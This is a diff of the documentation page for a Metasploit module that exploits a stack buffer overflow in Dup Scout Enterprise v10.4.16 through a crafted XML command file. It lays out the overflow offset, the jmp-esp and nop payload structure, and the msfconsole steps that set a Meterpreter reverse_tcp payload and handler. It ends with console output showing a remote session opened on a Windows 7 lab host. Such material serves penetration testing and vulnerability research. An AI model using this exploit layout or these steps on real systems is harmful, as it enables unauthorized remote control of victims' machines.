|
1 |
| -This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16 by using the import command option to import a specially crafted xml file. |
| 1 | +## Description |
| 2 | + |
| 3 | +This module exploits a buffer overflow in `libpal.dll` that is used by [Dup Scout Enterprise v10.4.16](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe). The buffer overflow occurs during a call to the `SCA_XmlParser::GetToken` function when a user-supplied Command file with a crafted name attribute is imported to the Dup Scout application. The `SCA_XmlParser::GetToken` function is passed a heap pointer as an argument, which was created by the `SCA_XmlParser::LoadXmlFile` function and contains data from the user-supplied Command file, and a pointer to a stack buffer that was created in the `SCA_XmlParser::ParseXmlElement` function. While parsing the name attribute, the `SCA_XmlParser::GetToken` function copies from the heap buffer to the stack buffer until a single quote (to match `name='`, or a double quote to match `name="`) is found or until it finishes reading from the allocated heap buffer. |
2 | 4 |
|
3 | 5 | ## Vulnerable Application
|
4 | 6 |
|
5 |
| -This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [www.dupscout.com](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe). |
| 7 | +The vulnerability can be exploited when the size of the name attribute is greater than 1560 bytes. |
| 8 | + |
| 9 | +Note: The allocated stack buffer size is 1564 bytes but the first four bytes are filled with `\xff` during execution of the `SCA_XmlParser::GetToken` function. |
| 10 | + |
| 11 | +Since the stack buffer was allocated as a local variable for the `SCA_XmlParser::ParseXmlElement` function, the program's control flow isn't taken over until the return of the `SCA_XmlParser::ParseXmlElement` function even though the return value is overwritten during execution of the `SCA_XmlParser::GetToken` function. |
| 12 | + |
| 13 | +The format of the crafted Command file will be: |
| 14 | + |
| 15 | +``` |
| 16 | +buf = "<?xml ?><a name='" |
| 17 | +buf << make_nops(1560) # Fill up the stack buffer |
| 18 | +buf << addr_of_jmp_esp # overwrite the return address for SCA_XmlParser::ParseXmlElement |
| 19 | +buf << make_nops(16) # account for ret 10h in SCA_XmlParser::ParseXmlElement |
| 20 | +buf << inst1 # LEA EAX, [ESP+14h] # Prepare EAX to jump to payload |
| 21 | +buf << inst2 # JMP EAX # Jump to our desired location |
| 22 | +buf << make_nops(14) # Fill past possibly corrupted location |
| 23 | +buf << payload # Location that is jumped to |
| 24 | +``` |
| 25 | + |
| 26 | +Note: The last make_nops will offset the location of the payload. The offset is included to account for writes to the stack buffer that after the user-supplied Command file has been processed. |
6 | 27 |
|
7 | 28 | ## Verification Steps
|
8 | 29 |
|
9 |
| -1. Start msfconsole |
10 |
| -2. Do: `exploit/windows/fileformat/dupscout_xml` |
11 |
| -3. Do: `set PAYLOAD [PAYLOAD]` |
12 |
| -4. Do: `run` |
| 30 | +- [ ] Install Dup Scout Enterprise on target system |
| 31 | +- [ ] `./msfconsole` |
| 32 | +- [ ] `use exploit/windows/fileformat/dupscout_xml` |
| 33 | +- [ ] `set payload windows/meterpreter/reverse_tcp` |
| 34 | +- [ ] `set lhost <lhost>` |
| 35 | +- [ ] `run` |
| 36 | +- [ ] `use exploit/multi/handler` |
| 37 | +- [ ] `set payload windows/meterpreter/reverse_tcp` |
| 38 | +- [ ] `set lhost <lhost>` |
| 39 | +- [ ] `run` |
| 40 | +- [ ] From the DupScout Enterprise menu select Command -> Import Command |
| 41 | +- [ ] Select file generated by metasploit |
| 42 | +- [ ] Get a session |
| 43 | + |
| 44 | + |
| 45 | +## Scenarios |
| 46 | + |
| 47 | +### Dup Scout Enterprise v10.4.16 Windows 7 SP1 x64. |
13 | 48 |
|
14 |
| -## Example |
15 | 49 | ```
|
16 |
| -msf > use exploit/windows/fileformat/dupscout_xml |
17 |
| -msf exploit(windows/fileformat/dupscout_xml) > set PAYLOAD windows/meterpreter/reverse_tcp |
18 |
| -PAYLOAD => windows/meterpreter/reverse_tcp |
19 |
| -msf exploit(windows/fileformat/dupscout_xml) > set LHOST 172.16.40.146 |
20 |
| -LHOST => 172.16.40.146 |
21 |
| -msf exploit(windows/fileformat/dupscout_xml) > run |
| 50 | +msf5 > use exploit/windows/fileformat/dupscout_xml |
| 51 | +msf5 exploit(windows/fileformat/dupscout_xml) > set payload windows/meterpreter/reverse_tcp |
| 52 | +payload => windows/meterpreter/reverse_tcp |
| 53 | +msf5 exploit(windows/fileformat/dupscout_xml) > set lhost 172.22.222.120 |
| 54 | +lhost => 172.22.222.120 |
| 55 | +msf5 exploit(windows/fileformat/dupscout_xml) > run |
22 | 56 |
|
23 | 57 | [*] Creating 'msf.xml' file ...
|
24 |
| -[+] msf.xml stored at /root/.msf4/local/msf.xml |
25 |
| -msf exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler |
26 |
| -msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp |
27 |
| -PAYLOAD => windows/meterpreter/reverse_tcp |
28 |
| -msf exploit(multi/handler) > set LHOST 172.16.40.146 |
29 |
| -LHOST => 172.16.40.146 |
30 |
| -msf exploit(multi/handler) > run |
31 |
| -
|
32 |
| -[*] Started reverse TCP handler on 172.16.40.146:4444 |
33 |
| -[*] Sending stage (179779 bytes) to 172.16.40.144 |
34 |
| -[*] Meterpreter session 1 opened (172.16.40.146:4444 -> 172.16.40.144:49790) at 2018-01-24 20:56:56 +0000 |
35 |
| -
|
36 |
| -meterpreter > sysinfo |
37 |
| -Computer : PC |
| 58 | +[+] msf.xml stored at /home/msfdev/.msf4/local/msf.xml |
| 59 | +msf5 exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler |
| 60 | +msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp |
| 61 | +payload => windows/meterpreter/reverse_tcp |
| 62 | +msf5 exploit(multi/handler) > set lhost 172.22.222.120 |
| 63 | +lhost => 172.22.222.120 |
| 64 | +msf5 exploit(multi/handler) > run |
| 65 | +
|
| 66 | +[*] Started reverse TCP handler on 172.22.222.120:4444 |
| 67 | +[*] Sending stage (179779 bytes) to 172.22.222.122 |
| 68 | +
|
| 69 | +meterpreter > getuid |
| 70 | +Server username: .\pwnduser |
| 71 | +meterpreter > sysinfo |
| 72 | +Computer : . |
38 | 73 | OS : Windows 7 (Build 7601, Service Pack 1).
|
39 |
| -Architecture : x86 |
40 |
| -System Language : pt_PT |
| 74 | +Architecture : x64 |
| 75 | +System Language : en_US |
41 | 76 | Domain : WORKGROUP
|
42 |
| -Logged On Users : 1 |
| 77 | +Logged On Users : 2 |
43 | 78 | Meterpreter : x86/windows
|
44 | 79 | meterpreter >
|
45 | 80 | ```
|
0 commit comments